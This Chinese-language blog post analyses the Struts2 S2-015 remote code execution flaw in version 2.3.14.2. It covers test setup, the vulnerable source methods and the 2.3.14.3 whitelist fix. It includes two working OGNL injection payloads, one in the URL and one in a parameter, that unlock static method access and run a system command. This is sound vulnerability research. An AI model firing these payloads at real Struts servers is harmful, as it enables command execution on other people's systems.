前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
2.3.14.2 版本的 struts2 + Tomcat 9。
通配符
修改 struts.xml 文件,加上一个默认 Action:
1 2 3
| <action name="*" class="com.example.struts2.LoginAction"> <result>/{1}.jsp</result> </action>
|
简单来说就是匹配不到 Action 时会访问的 JSP。
参数的双重评估
类似 S2-012,不过发生在设置 HTTP Headers 的 Action 而不是重定向中:
1 2 3
| <result type="httpheader"> <param name="headers.username">${username}</param> </result>
|
漏洞利用
漏洞利用 1
本地环境为 2.3.14.2,所以修改安全配置需要使用反射,利用 payload 如下:
1
| http://localhost:8080/${%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}.action
|
漏洞利用 2
payload 如下:
1
| username=${%25{%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}}
|
漏洞分析
漏洞分析 1
看到 StrutsResultSupport 类的 execute 方法:
1 2 3 4
| public void execute(ActionInvocation invocation) throws Exception { lastFinalLocation = conditionalParse(location, invocation); doExecute(lastFinalLocation, invocation); }
|
这里的 location 就是我们访问的 Action,这里的意思是对 location 做一个处理(简单来说就是按照配置文件的写法拼接完成之后,再作为一个表达式来解析),然后将处理结果作为最后要访问的路径,处理的时候会调用 translateVariables 方法,也就是之前一直看到的表达式解析函数。
漏洞分析 2
类似 S2-012,% 和 $ 各解析了一次,实际上 payload 里面可以去掉外面那一层 ${},同样可以利用,struts 在处理 HTTP Headers 的时候:
1 2 3 4 5 6 7
| if (headers != null) { for (Map.Entry<String, String> entry : headers.entrySet()) { String value = entry.getValue(); String finalValue = parse ? TextParseUtil.translateVariables(value, stack) : value; response.addHeader(entry.getKey(), finalValue); } }
|
会调用 translateVariables 函数,这里就是双重评估的触发点了。
漏洞修复
漏洞修复1
2.3.14.3 版本的修复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| protected String allowedActionNames = "[a-z]*[A-Z]*[0-9]*[.\\-_!/]*"; protected String cleanupActionName(final String rawActionName) { if (rawActionName.matches(allowedActionNames)) { return rawActionName; } else { if (LOG.isWarnEnabled()) { LOG.warn("Action [#0] do not match allowed action names pattern [#1], cleaning it up!", rawActionName, allowedActionNames); } String cleanActionName = rawActionName; for(String chunk : rawActionName.split(allowedActionNames)) { cleanActionName = cleanActionName.replace(chunk, ""); } if (LOG.isDebugEnabled()) { LOG.debug("Cleaned action name [#0]", cleanActionName); } return cleanActionName; } }
|
对 Action 的名称做了白名单清理。
漏洞修复 2
同 S2-012,可以算是移除了双重评估。
Orz